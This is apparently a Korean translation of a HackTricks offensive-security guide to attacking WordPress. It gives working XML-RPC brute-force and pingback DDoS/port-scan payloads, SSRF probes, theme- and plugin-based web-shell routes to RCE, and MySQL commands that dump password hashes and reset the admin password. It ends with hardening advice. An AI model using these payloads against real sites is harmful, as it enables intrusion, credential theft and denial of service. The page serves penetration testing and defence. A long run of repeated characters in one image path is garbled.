22 KiB
Wordpress
htARTE (HackTricks AWS Red Team Expert)에서 제로부터 히어로까지 AWS 해킹 배우기를 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
기본 정보
업로드된 파일은 다음 경로에 저장됩니다: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
테마 파일은 /wp-content/themes/에 있으므로 테마의 일부 php를 변경하여 RCE를 얻으려면 해당 경로를 사용할 수 있습니다. 예를 들어: twentytwelve 테마를 사용하면 다음 경로에서 404.php 파일에 액세스할 수 있습니다: /wp-content/themes/twentytwelve/404.php
다른 유용한 URL은 다음과 같습니다: /wp-content/themes/default/404.php
wp-config.php에서 데이터베이스의 루트 암호를 찾을 수 있습니다.
확인해야 할 기본 로그인 경로: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
주요 WordPress 파일
index.php
license.txt
에는 설치된 WordPress의 버전과 같은 유용한 정보가 포함되어 있습니다.wp-activate.php
는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.- 로그인 폴더 (숨기기 위해 이름이 변경될 수 있음):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
는 WordPress의 기능을 나타내는 파일로, HTTP를 전송 메커니즘으로 사용하고 XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있습니다. 이러한 유형의 통신은 WordPress REST API로 대체되었습니다.wp-content
폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.wp-content/uploads/
는 플랫폼에 업로드된 파일이 저장되는 디렉토리입니다.wp-includes/
는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.wp-sitemap.xml
은 Wordpress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시 유형 및 분류에 대한 사이트맵 XML 파일을 생성합니다.
후반 공격
wp-config.php
파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름과 암호, 인증 키 및 솔트, 데이터베이스 테이블 접두사와 같은 정보가 포함됩니다. 이 구성 파일은 문제 해결에 유용한 DEBUG 모드를 활성화하는 데에도 사용될 수 있습니다.
사용자 권한
- 관리자
- 편집자: 자신과 다른 사람의 게시물을 게시하고 관리합니다.
- 작성자: 자신의 게시물을 게시하고 관리합니다.
- 기고자: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
- 구독자: 게시물을 브라우즈하고 프로필을 편집할 수 있습니다.
수동 열거
WordPress 버전 확인
/license.txt
또는 /readme.html
파일을 찾을 수 있는지 확인하세요.
페이지의 소스 코드 내에서 (예: https://wordpress.org/support/article/pages/의 예제):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS 링크 파일
- JavaScript 파일
플러그인 가져오기
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
테마 가져오기
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
일반적으로 버전 추출하기
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화할 수 있습니다.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
활성 열거
플러그인 및 테마
아마도 모든 플러그인과 테마를 찾을 수는 없을 것입니다. 모든 것을 발견하려면 플러그인과 테마 목록을 브루트 포스해야 할 것입니다 (행운스럽게도 이 목록을 포함하는 자동화된 도구가 있습니다).
사용자
ID 브루트
WordPress 사이트에서 유효한 사용자를 얻으려면 사용자 ID를 브루트 포스하여 얻을 수 있습니다:
curl -s -I -X GET http://blog.example.com/?author=1
만약 응답이 200 또는 30X이면, 그것은 id가 유효하다는 것을 의미합니다. 응답이 400이면, id가 유효하지 않습니다.
wp-json
또한 사용자에 대한 정보를 쿼리하여 가져올 수도 있습니다.
curl http://blog.example.com/wp-json/wp/v2/users
다른 /wp-json/
엔드포인트는 사용자에 대한 일부 정보를 노출할 수 있습니다:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
참고로, 이 엔드포인트는 게시물을 작성한 사용자만 노출됩니다. 이 기능을 사용하는 사용자에 대한 정보만 제공됩니다.
또한, /wp-json/wp/v2/pages는 IP 주소를 노출시킬 수 있습니다.
로그인 사용자명 열거
**/wp-login.php
**에 로그인할 때, 메시지는 지정된 사용자명이 존재하는지 여부에 따라 다릅니다.
XML-RPC
xml-rpc.php
가 활성화되어 있다면, 자격 증명 브루트 포스를 수행하거나 다른 리소스에 대한 DoS 공격을 실행할 수 있습니다. (예를 들어, 이를 자동화하는 방법을 사용할 수 있습니다).
활성화되어 있는지 확인하려면 _/xmlrpc.php_에 액세스하고 다음 요청을 보냅니다:
확인
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
자격 증명 무차별 대입 공격
wp.getUserBlogs
, wp.getCategories
또는 **metaWeblog.getUsersBlogs
**는 자격 증명 무차별 대입 공격에 사용될 수 있는 몇 가지 메서드입니다. 이 중 하나를 찾을 수 있다면 다음과 같이 전송할 수 있습니다:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 코드 응답 내에서 "잘못된 사용자 이름 또는 비밀번호"라는 메시지가 나타나면 자격 증명이 유효하지 않은 경우입니다.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
또한, **system.multicall
**을 사용하여 자격 증명을 더 빠르게 무차별 대입할 수 있는 방법이 있습니다. 이 방법은 동일한 요청에서 여러 자격 증명을 시도할 수 있기 때문에 더 빠릅니다:
2FA 우회
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니며 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 입구가 2FA로 보호되는 경우, xmlrpc.php를 남용하여 2FA를 우회하여 해당 자격 증명으로 로그인할 수 있을 수도 있습니다. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명한 대로 RCE에 도달할 수도 있습니다.
DDoS 또는 포트 스캐닝
목록 내에서 pingback.ping 메서드를 찾을 수 있다면, Wordpress에 임의의 요청을 호스트/포트로 보낼 수 있습니다.
이를 사용하여 수천 개의 Wordpress 사이트에 한 위치로의 액세스를 요청할 수 있으며 (따라서 해당 위치에서 DDoS가 발생합니다) 또는 Wordpress가 내부 네트워크를 스캔하도록 할 수도 있습니다 (임의의 포트를 지정할 수 있습니다).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
만약 faultCode가 0보다 큰 값(17)을 가지면, 해당 포트는 열려있는 것을 의미합니다.
**system.multicall
**의 사용법을 이전 섹션에서 확인하여 이 방법을 악용하여 DDoS를 발생시키는 방법을 배워보세요.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
이 파일은 일반적으로 워드프레스 사이트의 루트 아래에 존재합니다: /wp-cron.php
이 파일에 접근하면 "무거운" MySQL 쿼리가 수행되므로, 공격자들이 DoS를 유발하는 데 사용할 수 있습니다.
또한, 기본적으로 wp-cron.php
는 모든 페이지 로드(클라이언트가 워드프레스 페이지를 요청할 때마다)에서 호출되며, 이는 고트래픽 사이트에서 문제를 일으킬 수 있습니다 (DoS).
Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cron 작업을 생성하는 것이 권장됩니다 (문제를 일으키지 않고).
/wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해보고 워드프레스 사이트가 요청을 보낼 수 있습니다.
작동하지 않을 때의 응답은 다음과 같습니다:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
이 도구는 methodName: pingback.ping과 경로 /wp-json/oembed/1.0/proxy를 확인하고, 존재하는 경우 이를 악용하려고 시도합니다.
자동화 도구
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Trickest을 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
비트를 덮어쓰기로 액세스 얻기
이것은 실제 공격보다는 호기심입니다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서는 어떤 워드프레스 파일의 1비트를 뒤집을 수 있습니다. 따라서 파일 /var/www/html/wp-includes/user.php
의 위치 5389
를 뒤집어 NOT (!
) 연산을 NOP으로 만들 수 있습니다.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
패널 RCE
사용 중인 테마의 php 수정 (관리자 자격 증명 필요)
외모 → 테마 편집기 → 404 템플릿 (오른쪽에 위치)
php 쉘을 위한 내용 변경:
인터넷에서 해당 업데이트된 페이지에 액세스하는 방법을 검색하십시오. 이 경우에는 여기에 액세스해야 합니다: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
다음을 사용할 수 있습니다:
use exploit/unix/webapp/wp_admin_shell_upload
플러그인 RCE
PHP 플러그인
플러그인으로 .php 파일을 업로드할 수도 있습니다.
예를 들어 다음과 같이 php 백도어를 만들 수 있습니다:
그런 다음 새 플러그인을 추가합니다:
플러그인을 업로드하고 지금 설치를 누릅니다:
Procced를 클릭합니다:
아마도 이 작업은 아무런 일도 하지 않을 것입니다. 그러나 미디어로 이동하면 업로드한 쉘을 볼 수 있습니다:
접속하면 역쉘이 실행되는 URL을 볼 수 있습니다:
악성 플러그인 업로드 및 활성화
이 방법은 취약한 악성 플러그인을 설치하고 웹 쉘을 얻기 위해 악용할 수 있습니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
-
플러그인 획득: 플러그인은 여기와 같은 Exploit DB와 같은 소스에서 얻을 수 있습니다.
-
플러그인 설치:
- WordPress 대시보드로 이동한 다음
대시보드 > 플러그인 > 플러그인 업로드
로 이동합니다. - 다운로드한 플러그인의 zip 파일을 업로드합니다.
-
플러그인 활성화: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
-
악용:
- "reflex-gallery" 플러그인이 설치되고 활성화된 경우, 취약점이 있는 것으로 알려져 있어 악용할 수 있습니다.
- Metasploit 프레임워크는 이 취약점에 대한 악용 도구를 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 무단 액세스할 수 있습니다.
- 이는 WordPress 사이트를 악용하는 다양한 방법 중 하나에 불과함을 주의해야 합니다.
이 내용에는 WordPress 대시보드에서 플러그인을 설치하고 활성화하는 단계를 보여주는 시각적 자료가 포함되어 있습니다. 그러나 이러한 취약점을 악용하는 것은 적법한 권한 없이는 불법적이고 윤리적으로 부적절합니다. 이 정보는 적절한 권한을 가진 범위 테스트와 같은 법적인 맥락에서만 책임있게 사용되어야 합니다.
더 자세한 단계는 여기를 참조하세요: https://www.hackingarticles.in/wordpress-reverse-shell/**
사후 악용
사용자 이름과 비밀번호 추출:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
관리자 비밀번호 변경:
To change the admin password in WordPress, follow these steps:
- Log in to the WordPress admin dashboard.
- Go to the "Users" section.
- Click on the "Edit" link next to the admin user.
- Scroll down to the "New Password" section.
- Enter the new password in the provided field.
- Confirm the new password by entering it again.
- Click on the "Update User" button to save the changes.
WordPress 관리자 비밀번호를 변경하려면 다음 단계를 따르세요:
- WordPress 관리자 대시보드에 로그인합니다.
- "사용자" 섹션으로 이동합니다.
- 관리자 사용자 옆의 "편집" 링크를 클릭합니다.
- "새 비밀번호" 섹션으로 스크롤합니다.
- 제공된 필드에 새 비밀번호를 입력합니다.
- 새 비밀번호를 다시 입력하여 확인합니다.
- 변경 사항을 저장하기 위해 "사용자 업데이트" 버튼을 클릭합니다.
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
워드프레스 보호
정기적인 업데이트
워드프레스, 플러그인 및 테마가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
또한, 신뢰할 수 있는 워드프레스 플러그인과 테마만 설치하세요.
보안 플러그인
기타 권장 사항
- 기본 admin 사용자 제거
- 강력한 암호와 2FA 사용
- 주기적으로 사용자 권한 검토
- 브루트 포스 공격 방지를 위해 로그인 시도 제한
wp-admin.php
파일 이름 변경 및 내부 또는 특정 IP 주소에서만 액세스 허용
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 AWS 해킹을 전문가 수준으로 배우세요**!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 구매하세요.
- The PEASS Family를 발견하세요. 독점적인 NFT 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.